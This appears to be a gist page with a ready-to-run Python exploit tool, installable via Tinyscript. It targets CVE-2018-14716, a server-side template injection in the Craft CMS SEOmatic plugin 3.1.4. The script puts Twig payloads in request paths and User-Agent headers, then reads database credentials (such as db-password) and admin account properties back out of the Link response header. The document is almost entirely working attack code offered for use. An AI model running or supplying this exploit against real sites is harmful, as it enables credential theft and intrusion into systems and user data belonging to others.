This is an automation of this exploit using Tinyscript and Pybots for getting config settings or user properties.
$ pip install tinyscript
$ tsm install craftcms-seomatic-ssti
This is an automation of this exploit using Tinyscript and Pybots for getting config settings or user properties.
$ pip install tinyscript
$ tsm install craftcms-seomatic-ssti
#!/usr/bin/env python | |
# -*- coding: UTF-8 -*- | |
from pybots import HTTPBot | |
from tinyscript import * | |
__author__ = "Alexandre D'Hondt" | |
__email__ = "[email protected]" | |
__reference__ = "https://www.exploit-db.com/exploits/45108" | |
__doc__ = """ | |
This tool implements exploit 45108 of ExploitDB related to CVE-2018-14716, that is, a Server-Side Template Injection on Craft CMS SEOmatic plugin 3.1.4. | |
""" | |
__examples__ = [ | |
"http://example.com -p db-server db-port db-username db-password", | |
"http://example.com -p admin.id admin.email admin.status", | |
] | |
class ExploitBot(HTTPBot): | |
def get_config_setting(self, param): | |
p0, p1 = param.split("-", 1) | |
ssti = "{% set p0=craft.request.getUserAgent()|slice(0," + str(len(p0)) + ")%}" + \ | |
"{% set p1=craft.request.getUserAgent()|slice(" + str(len(p0)+1) + "," + str(len(p1)) + ")%}" + \ | |
"{{craft.config.get(p1,p0)}}" | |
req = "/: " | |
self.head(req + ssti, aheaders={'User-Agent': p0 + " " + p1}) | |
return str(self.response.headers['Link']).split(req)[1].split(">; rel=")[0] | |
def get_user_property(self, param): | |
user, property = param.split(".", 1) | |
ssti = "{% set p=craft.request.getUserAgent()|slice(0," + str(len(user)) + ")%}{{craft.users.username(p)[0]." + property + "}}" | |
req = "/: " | |
self.head(req + ssti, aheaders={'User-Agent': user}) | |
return str(self.response.headers['Link']).split(req)[1].split(">; rel=")[0] | |
if __name__ == '__main__': | |
parser.add_argument("url", help="target URL of Craft CMS") | |
parser.add_argument("-p", "--param", nargs="+", help="parameter to retrieve", | |
note="Supported formats:\n- [file]-[setting] (e.g. db-password)\n- [username].[property] (e.g. admin.email)") | |
initialize() | |
with ExploitBot(args.url, verbose=args.verbose) as bot: | |
for p in args.param: | |
if len(p.split("-")) == 2: | |
v = bot.get_config_setting(p) | |
elif len(p.split(".")) == 2: | |
v = bot.get_user_property(p) | |
else: | |
bot.logger.error("Bad parameter format") | |
continue | |
if v: | |
bot.logger.info("{}: {}".format(p, v)) | |
else: | |
bot.logger.warning("{}: bad parameter or empty value".format(p)) |